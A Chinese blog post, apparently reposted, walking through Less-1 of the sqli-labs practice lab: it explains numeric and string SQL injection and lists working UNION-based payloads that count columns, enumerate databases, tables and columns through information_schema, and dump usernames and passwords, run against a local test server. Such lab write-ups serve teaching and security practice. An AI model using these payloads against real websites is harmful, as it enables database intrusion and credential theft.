码迷,mamicode.com
首页 > 数据库 > 详细

sqli-labs less-1

时间:2019-04-20 22:55:21      阅读:280      评论:0      收藏:0      [点我收藏+]

标签:中间   判断   字符   9.png   uri   输入   如何   查询   字符串   

sqli-labs less-1

数字型注入

当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。

测试步骤:
(1) 加单引号,URL:www.text.com/text.php?id=3’
对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;

(2) 加and 1=1 ,URL:www.text.com/text.php?id=3 and 1=1
对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;

(3) 加and 1=2,URL:www.text.com/text.php?id=3 and 1=2
对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异

如果满足以上三点,则可以判断该URL存在数字型注入。

字符型注入

当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。

例如数字型语句:select * from table where id =3

则字符型如下:select * from table where name=’admin’

因此,在构造payload时通过闭合单引号可以成功执行语句:

测试步骤:

(1) 加单引号:select * from table where name=’admin’’

由于加单引号后变成三个单引号,则无法执行,程序会报错;

(2) 加 ’and 1=1 此时sql 语句为:select * from table where name=’admin’ and 1=1’ ,也无法进行注入,还需要通过注释符号将其绕过;

Mysql 有三种常用注释符:

-- 注意,这种注释符后边有一个空格 在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用--+代替-- ,原因是+在URL被URL编码后会变成空格。

还有一种通过#号进行注释

/* */ 注释掉符号内的内容

因此,构造语句为:select * from table where name =’admin’ and 1=1—’ 可成功执行返回结果正确;

(3) 加and 1=2— 此时sql语句为:select * from table where name=’admin’ and 1=2 –’则会报错

如果满足以上三点,可以判断该url为字符型注入。


开始注入

正常查询
技术图片

通过单引号进行注入并回显报错
技术图片

根据报错信息回显,可以确定输入参数的内容被存放到一对单引号中间,下面外面再来看看第一关的源码 WWW\sqli-labs-master\Less-1\index.php

技术图片

那我们刚才执行的sql语句就是 SELECT * FROM users WHERE id=‘$id‘‘ LIMIT 0,1

那我们接下来想如何将多余的 ’ 去掉呢?那就再添多一个 ‘ 号闭合呗!正常回显了!
技术图片

相当于执行sql语句 SELECT * FROM users WHERE id=‘$id‘‘‘ LIMIT 0,1

下面使用order by 语句判断,该表中一共有几列数据

技术图片

1,2,3,order by到第4 发现报错,得出这个表只有三列数据
技术图片

将id=1改为一个数据库不存在的id值,用-1就好了,开始联合查询确定回显点
技术图片

爆出数据库名

方法1

'union select 1,2,database() --+

技术图片

方法2

' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

技术图片

接下来我们尝试获取 security 数据库中的表名

information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。

' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

也可以用下面方式爆表

' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+

得到最关心的表啦啦啦!!!
技术图片

接着爆破出列名

' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+

技术图片

接着爆出字段中的用户名,密码

方法1

爆用户密码

' union select 1,2,group_concat(username, '-',password) from users --+

技术图片

' union select 1,2,(select group_concat(username,'~',password) from security.users) --+

技术图片

方法2

爆用户

' union select 1,2,group_concat(username) from security.users --+

技术图片

爆密码

' union select 1,2,group_concat(password) from security.users --+

技术图片

信息收集
判断数据库类型
http://127.0.0.1/Less-1/?id=2‘ ? 错误页面显示mysql数据库

获取数据库版本
http://127.0.0.1/Less-1/?id=-2‘ union select 1,2,version()--+

数据库用户
? 获取系统用户名:
? http://127.0.0.1/Less-1/?id=-2‘ union select 1,2,system_user()--+
? 获取用户:
? http://127.0.0.1/Less-1/?id=-2‘ union select 1,2,user()--+
? 获取当前用户:
? http://127.0.0.1/Less-1/?id=-2‘ union select 1,2,current_user()--+
? 获取连接数据库的用户:
? http://127.0.0.1/Less-1/?id=-2‘ union select 1,2,session_user()--+

sqli-labs less-1

标签:中间   判断   字符   9.png   uri   输入   如何   查询   字符串   

原文地址:https://www.cnblogs.com/cany/p/10743106.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!